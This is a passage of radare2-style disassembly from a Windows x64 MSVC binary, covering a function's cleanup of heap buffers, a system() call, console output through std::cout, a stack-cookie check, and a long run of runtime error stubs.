cmp byte [rsp + 0x30], 0
je 0x1400039c1
mov rdx, qword [rbp + 0x178]
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x1400039b8
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b68
mov rcx, r15
call fcn.140004a90
nop
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x140001a30
mov rdx, qword [rbp + 0x150]
call fcn.140003f80
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 0x148]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b6f
call fcn.140004a90
jmp 0x140001a30
lea rcx, [0x1400067f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140006bf8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003c70
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140004a70
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011a0
int3
call fcn.1400011a0
nop
call fcn.140001100
int3
call fcn.1400011a0
nop
call fcn.140001100
int3
call fcn.140001100
int3